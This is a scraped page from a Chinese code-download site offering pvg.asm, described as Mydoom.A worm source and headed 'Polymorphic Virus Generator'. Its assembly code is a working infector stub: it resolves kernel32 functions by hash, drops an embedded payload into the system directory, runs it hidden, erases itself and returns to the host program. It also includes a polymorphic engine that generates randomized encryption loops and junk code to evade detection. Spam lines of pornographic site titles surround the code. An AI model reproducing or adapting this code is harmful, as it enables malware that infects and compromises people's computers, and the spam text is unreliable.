亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? pvg.asm

?? 蠕蟲mydoom.a版本的完整源代碼
?? ASM
字號:
; Polymorphic Virus Generator
; #########################################################################

.data
        TheOpcodes      db      0E8h, 000h, 000h, 000h, 000h
                        db      058h
                        db      08Bh, 0F0h
                        db      08Bh, 0FEh
                        db      0B9h

.code

; Fake proc
VirCodeProc proc
@vir_code_begin::

@code_begin:
        ; Get kernel handle
        assume  fs: nothing
        xor     eax, eax
        mov     edi, fs: dword ptr[eax]
        dec     eax

        mov     ecx, eax
        repnz scasd
        scasd
        mov     ebx, [edi]
        xor     bx, bx

@@:
        cmp     word ptr[ebx], 'ZM'
        jz      @inside_kernel32
        sub     ebx, 10000h
        jmp     @B
@inside_kernel32:

        call    $+5
        pop     ebp
        jmp     @skip_data
@ebp_ptr:
        dd 03b704017h ; CloseHandle             +0
        dd 0453ace16h ; CreateFileA             +4
        dd 077cca384h ; GetSystemDirectoryA     +8
        dd 01db55991h ; WriteFile               +12
        dd 047216310h ; LoadLibraryA            +16
        dd 04fc8d9a2h ; GetProcAddress          +20
        dd 044db6612h ; lstrcatA                +24
        dd 0b5dafe83h ; SetFileAttributesA      +28
        dd 0          ; +32
@add_name_str:        ; +36
        szBglRealNameR
@shell_32_str:
        db "shell32.dll",0
@shell_exec_str:
        db "ShellExecuteA",0
@shell_open:
        db "open",0
@skip_data:
        add     ebp, 3

        ; Get functions
        mov     edx, [ebx+3ch]          ; PE        
        mov     esi, [ebx+edx+78h]      ; Export Table RVA   
        lea     esi, [ebx+esi+18h]      ; Export Table VA+18h
        lodsd
        xchg    eax, ecx                ; NumberOfNames
        lodsd                           ; AddressOfFunctions
        push    eax
        lodsd                           ; AddressOfNames
        add     eax, ebx
        xchg    eax, edx
        lodsd                           ; AddressOfNameOrdinals
        add     eax, ebx
        push    eax

        mov     esi, edx
@next_func:
        lodsd
        add     eax, ebx

        ; Hash
        mov     edx, 0f1e2d3c4h

        push    ebx
@calc_hash:
        mov     ebx, edx
        shl     edx, 5
        shr     ebx, 27
        or      edx, ebx
        movzx   ebx, byte ptr[eax]
        inc     eax
        add     edx, ebx
        test    ebx, ebx
        jnz     @calc_hash
        pop     ebx

        ; Get offset to ordinal
        mov     eax, [esp]              ; AddressOfNameOrdinals
        add     dword ptr[esp], 2       ; Move to next ordinal word

        mov     edi, ebp
@scan_dw_funcs:
        cmp     dword ptr[edi], edx

        .IF     ZERO?
                ; Function found
                movzx   eax, word ptr[eax]      ; Name ordinal
                shl     eax, 2                  ; Multiply by 4
                add     eax, dword ptr[esp+4]
                add     eax, ebx
                mov     eax, dword ptr[eax]
                add     eax, ebx
                stosd
        .ELSE
                ; Skip hash
                scasd
        .ENDIF
        cmp     dword ptr[edi], 0
        jnz     @scan_dw_funcs
        loop    @next_func

        sub     esp, 1026-8
        mov     ebx, esp

        ; GetSystemDirectory
        push    MAX_PATH+1
        push    ebx
        call    dword ptr[ebp+8]

        ; lstrcat
        mov     eax, ebp
        add     eax, @add_name_str-@ebp_ptr
        push    eax
        push    ebx
        call    dword ptr[ebp+24]

        ; Set file attributes
        push    FILE_ATTRIBUTE_NORMAL
        push    ebx
        call    dword ptr[ebp+28]

        ; Create file
        push    0
        push    FILE_ATTRIBUTE_NORMAL
        push    CREATE_ALWAYS
        push    NULL
        push    0
        push    GENERIC_WRITE
        push    ebx
        call    dword ptr[ebp+4]

        mov     edi, eax
        inc     eax
        jz      @cant_create_file

        ; WriteFile
        push    0
        mov     eax, ebp ; Ovewrites CreateFile
        add     eax, 4
        push    eax
        mov     eax, ebp
        add     eax, @f_to_write-@ebp_ptr
        mov     esi, dword ptr[eax]
        push    esi
        add     eax, 4
        push    eax
        push    edi
        call    dword ptr[ebp+12]

        ; CloseHandle
        push    edi
        call    dword ptr[ebp]

        ; Check if entire file was written
        cmp     dword ptr[ebp+4], esi
        jnz     @cant_create_file

        ; Execute file

        ; Load shell32.dll
        mov     eax, ebp
        add     eax, @shell_32_str-@ebp_ptr
        push    eax        
        call    dword ptr[ebp+16]

        ; GetProcAddress(ShellExecuteA)
        mov     edx, ebp
        add     edx, @shell_exec_str-@ebp_ptr
        push    edx
        push    eax
        call    dword ptr[ebp+20]

        ; ShellExecute()
        push    SW_HIDE
        push    NULL
        push    NULL
        push    ebx
        mov     edx, ebp
        add     edx, @shell_exec_str-@shell_open
        push    edx
        push    0
        call    eax

@cant_create_file:
        add     esp, 1026

        ; Erase file data
        mov     eax, ebp
        add     eax, @f_to_write-@ebp_ptr
        mov     ecx, dword ptr[eax]
        add     ecx, 4
        mov     edi, eax
        xor     eax, eax
        rep stosb

        ; Erase virus code
        mov     edi, ebp
        sub     edi, @ebp_ptr-@code_begin
        mov     ecx, @code_end-@code_begin
        xor     eax, eax
        rep stosb
@code_end:
        popf

        ; Jump to OEP
        push    012345678h
        not     dword ptr[esp]
        retn
@f_to_write:
@vir_code_end::
VirCodeProc endp

WriteJunk proc
        invoke  Rand, 2
        .IF     !eax
                ; Jump through junk
                invoke  Rand, 20
                inc     eax
                xor     ecx, ecx
                mov     cl, al
                mov     al, 0ebh
                stosb
                mov     al, cl
                stosb
        @l:
                push    ecx
                invoke  Rand, 250
                stosb
                pop     ecx
                loop    @l
        .ELSE
                ; NOPs
                invoke  Rand, 10
                inc     eax
                mov     ecx, eax
                mov     al, 90h
                rep stosb
        .ENDIF
        ret
WriteJunk endp

MoreJunk proc
        invoke  Rand, 3
        .IF     eax
                mov     ecx, eax
        @l:
                push    ecx
                invoke  WriteJunk
                pop     ecx
                loop    @l
        .ENDIF
        ret
MoreJunk endp

; Returns: eax - pointer, ecx - length
GenVirCode proc uses esi edi ebx lpData, dwDataLen: DWORD
        LOCAL   loop_code_encr[128]: BYTE
        LOCAL   loop_code_decr[128]: BYTE
        LOCAL   loop_len, real_loop_len: DWORD
        LOCAL   nop_count1, nop_count2: DWORD
        LOCAL   rand_add_code: DWORD

        ; Alloc resulting buffer
        mov     eax, dwDataLen
        add     eax, 2048
        invoke  GlobalAlloc, GMEM_FIXED, eax
        mov     edi, eax
        mov     ebx, edi

        ; pushf
        mov     ax, 09C66h
        stosw

        ; Initial junk
        invoke  MoreJunk

        ; Some junk nops inside decrypt loop
        invoke  Rand, 4
        mov     nop_count1, eax
        invoke  Rand, 3
        mov     nop_count2, eax
        invoke  Rand, 8
        .IF     eax == 4
                xor     eax, eax
        .ENDIF
        mov     rand_add_code, eax

        ; Create crypt/decrypt loops
        invoke  Rand, 20
        add     eax, 2
        mov     loop_len, eax
        push    esi
        push    edi

        mov     real_loop_len, 1
        lea     esi, loop_code_encr
        lea     edi, loop_code_decr
        mov     byte ptr[esi], 0ach
        inc     esi
        mov     byte ptr[edi], 0ach
        inc     edi

        add     esi, 120

@l:
        invoke  Rand, 5
        .IF     eax == 0
                ; rol   al, xx
                invoke  Rand, 50
                sub     esi, 3
                mov     word ptr[esi], 0c0c0h
                mov     byte ptr[esi+2], al

                mov     word ptr[edi], 0c8c0h
                mov     byte ptr[edi+2], al
                add     edi, 3

                add     real_loop_len, 3
        .ELSEIF eax == 1
                ; nop
                dec     esi
                mov     byte ptr[esi], 90h
                mov     byte ptr[edi], 90h
                inc     edi

                inc     real_loop_len
        .ELSEIF eax == 2
                ; ror   al, xx
                invoke  Rand, 50
                mov     word ptr[edi], 0c0c0h
                mov     byte ptr[edi+2], al
                add     edi, 3

                sub     esi, 3
                mov     word ptr[esi], 0c8c0h
                mov     byte ptr[esi+2], al

                add     real_loop_len, 3
        .ELSEIF eax == 3
                ; rol   al, cl
                mov     word ptr[edi], 0c0d2h
                add     edi, 2

                sub     esi, 2
                mov     word ptr[esi], 0c8d2h
                add     real_loop_len, 2
        .ELSE
                ; xor   al, xx
                invoke  Rand, 50
                sub     esi, 2
                mov     byte ptr[esi], 34h
                mov     byte ptr[esi+1], al

                mov     byte ptr[edi], 34h
                mov     byte ptr[edi+1], al
                add     edi, 2

                add     real_loop_len, 2
        .ENDIF        
        dec     loop_len
        jnz     @l

        ; Move crypt code to beginning of the array
        push    edi
        lea     edi, loop_code_encr
        inc     edi
        mov     ecx, real_loop_len
        dec     ecx
        rep movsb
        pop     edi

        lea     esi, loop_code_encr
        add     esi, real_loop_len

        mov     byte ptr[esi], 0aah
        inc     esi
        mov     byte ptr[edi], 0aah
        inc     edi

        mov     eax, real_loop_len
        not     eax        
        sub     eax, 2
        mov     byte ptr[esi], 0e2h
        mov     byte ptr[esi+1], al
        mov     byte ptr[esi+2], 0c3h
        mov     byte ptr[edi], 0e2h
        mov     byte ptr[edi+1], al
        mov     byte ptr[edi+2], 0c3h
        pop     edi
        pop     esi

        add     real_loop_len, 3

        ; call  $+5
        mov     esi, offset TheOpcodes
        mov     ecx, 5
        rep movsb

        ; pop   xxx
        xor     eax, eax
        lodsb
        add     eax, rand_add_code
        stosb

        ; nops1
        mov     ecx, nop_count1
        mov     al, 90h
        rep stosb

        ; add   xxx, 999
        mov     ecx, nop_count1
        add     ecx, nop_count2
        add     ecx, real_loop_len
        add     ecx, 13
        mov     al, 83h
        stosb
        mov     eax, 0c0h
        add     eax, rand_add_code
        stosb
        mov     al, cl
        stosb

        ; nops2
        mov     ecx, nop_count2
        mov     al, 90h
        rep stosb

        ; mov   esi, xxx
        movsb
        xor     eax, eax
        lodsb
        add     eax, rand_add_code
        stosb

        ; mov   edi, esi
        movsw

        ; mov   ecx, xxx
        movsb
        mov     eax, dwDataLen
        stosd

        ; Write decryption loop
        lea     esi, loop_code_decr
        mov     ecx, real_loop_len
        rep movsb

        ; Encrypt data
        push    edi
        mov     esi, lpData
        mov     edi, esi
        mov     ecx, dwDataLen
        lea     eax, loop_code_encr
        call    eax

        ; Write data
        mov     esi, lpData
        pop     edi
        mov     ecx, dwDataLen
        rep movsb

        ; Get length of the data to write
        mov     ecx, edi
        sub     ecx, ebx

        mov     eax, ebx
        ret
GenVirCode endp

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
欧美国产日产图区| 国产精品毛片大码女人| 高清日韩电视剧大全免费| 亚洲人成亚洲人成在线观看图片| 91精品国产综合久久精品app | 欧美日韩在线免费视频| 国产精品1024久久| 日韩经典一区二区| 亚洲精品中文字幕乱码三区| xnxx国产精品| 欧美精品免费视频| 色婷婷亚洲精品| 波波电影院一区二区三区| 久久黄色级2电影| 图片区小说区国产精品视频| 亚洲精品乱码久久久久久久久| 亚洲精品一区二区三区影院| 欧美女孩性生活视频| 97精品超碰一区二区三区| 国产精品系列在线观看| 久久99久久99小草精品免视看| 亚洲午夜精品17c| ...av二区三区久久精品| 国产欧美综合在线| 精品不卡在线视频| 欧美成人午夜电影| 日韩欧美国产系列| 91精品国产综合久久久久久久| 欧美日韩精品欧美日韩精品一 | 欧美精品1区2区| 欧美中文字幕不卡| 91福利在线观看| 91视视频在线直接观看在线看网页在线看| 国产一区二区三区黄视频| 久久草av在线| 精品一区二区精品| 国产在线日韩欧美| 国产一区二区三区美女| 国产成人免费视频一区| 国产91精品欧美| 成人av先锋影音| 99vv1com这只有精品| 97精品国产97久久久久久久久久久久| 99精品国产99久久久久久白柏| av一区二区三区四区| 成人av免费网站| 色综合久久综合网欧美综合网| 95精品视频在线| 色久优优欧美色久优优| 欧美日韩国产免费一区二区 | 欧美一区二区三区思思人| 欧美二区乱c少妇| 日韩女优av电影在线观看| 精品国产一区二区精华| 久久久www成人免费无遮挡大片| 国产天堂亚洲国产碰碰| 中文字幕一区二区三区不卡| 亚洲123区在线观看| 日韩一区欧美二区| 激情五月激情综合网| 国产精品一线二线三线精华| www.亚洲国产| 欧美性受xxxx| 91精品国产美女浴室洗澡无遮挡| 26uuu另类欧美| 国产精品―色哟哟| 亚洲成av人片在线| 经典三级在线一区| 91香蕉视频污| 日韩视频一区二区三区在线播放| 久久久99精品久久| 一区二区三区.www| 久久99深爱久久99精品| 97精品国产露脸对白| 6080日韩午夜伦伦午夜伦| 久久久久久久久久久久电影| 亚洲欧美另类小说视频| 免费成人你懂的| 97国产精品videossex| 欧美一区二区三区人| 国产精品美女视频| 日韩中文字幕1| 99久久精品免费看| 欧美一区二区三区婷婷月色| 中文字幕中文在线不卡住| 亚洲r级在线视频| 成人综合婷婷国产精品久久蜜臀| 欧美三级日韩在线| 日本一区免费视频| 美脚の诱脚舐め脚责91 | 精品一区二区三区不卡| 91美女蜜桃在线| 久久精品亚洲国产奇米99| 亚洲午夜免费视频| 成人精品视频一区二区三区| 91精品国产综合久久久久久| 自拍偷拍国产亚洲| 国产剧情av麻豆香蕉精品| 欧美群妇大交群的观看方式| 中文字幕日韩av资源站| 麻豆91精品视频| 在线视频一区二区免费| 国产精品久久久久永久免费观看 | 精品中文av资源站在线观看| 日本道精品一区二区三区| 国产欧美一区二区精品婷婷| 日韩高清在线一区| 99视频有精品| 国产欧美日韩在线| 韩国欧美一区二区| 91麻豆精品国产91久久久| 亚洲另类春色国产| 99精品热视频| 婷婷夜色潮精品综合在线| 色综合天天综合色综合av | 国产成人午夜高潮毛片| 日韩欧美国产综合一区 | 日产精品久久久久久久性色| 91国偷自产一区二区使用方法| 中文字幕免费不卡在线| 国产精品一区二区三区四区| 日韩一级免费观看| 日本vs亚洲vs韩国一区三区| 678五月天丁香亚洲综合网| 亚洲一区二区三区四区五区黄| 91麻豆国产福利精品| 亚洲视频资源在线| 91视频91自| 亚洲欧美在线高清| 99re热视频精品| 国产精品美女久久久久久久| 东方欧美亚洲色图在线| 国产欧美日韩三级| 国产成人综合在线观看| 国产日韩欧美电影| 国产91精品精华液一区二区三区| 国产视频一区不卡| 国产成人综合在线播放| 日本一区二区电影| 成人av资源在线| 亚洲精品国产精华液| 欧洲生活片亚洲生活在线观看| 一区二区激情视频| 欧美精品一级二级三级| 日韩和欧美的一区| 精品国产乱码久久久久久闺蜜 | 亚洲码国产岛国毛片在线| 91久久精品一区二区| 亚洲午夜在线电影| 91精品久久久久久久91蜜桃| 激情综合网激情| 国产欧美一区二区在线| 91啦中文在线观看| 丝袜诱惑亚洲看片| 精品美女在线播放| 国产精品18久久久久久vr| 日韩理论电影院| 欧美私模裸体表演在线观看| 琪琪一区二区三区| 国产色综合久久| 91丨九色丨蝌蚪丨老版| 亚洲电影视频在线| 精品国产一区二区亚洲人成毛片| 国产成人在线视频播放| 成人欧美一区二区三区小说| 欧美日韩综合色| 久久成人av少妇免费| 国产精品灌醉下药二区| 欧美亚洲高清一区| 精品无人区卡一卡二卡三乱码免费卡 | 欧美韩国一区二区| 欧美午夜电影网| 国产精品亚洲专一区二区三区| 自拍偷自拍亚洲精品播放| 91精品久久久久久久久99蜜臂| 国产成人av一区二区三区在线 | 亚洲男人的天堂一区二区| 日韩一区二区三区四区五区六区| 国产suv精品一区二区三区| 亚洲一区二区三区四区五区中文| 精品国产精品一区二区夜夜嗨| 91麻豆精品国产91久久久使用方法| 国产一区二区导航在线播放| 亚洲欧美视频一区| 久久一区二区三区国产精品| 色老汉一区二区三区| 国产精品综合网| 亚洲成人综合网站| 国产精品视频麻豆| 欧美岛国在线观看| 91久久免费观看| 国产精品一区二区在线观看不卡| 午夜精品久久久久久久| 国产精品久久久久一区 | 亚洲激情校园春色| 精品对白一区国产伦| 欧美日韩一区精品| 99精品视频在线播放观看| 精油按摩中文字幕久久| 亚洲综合色噜噜狠狠|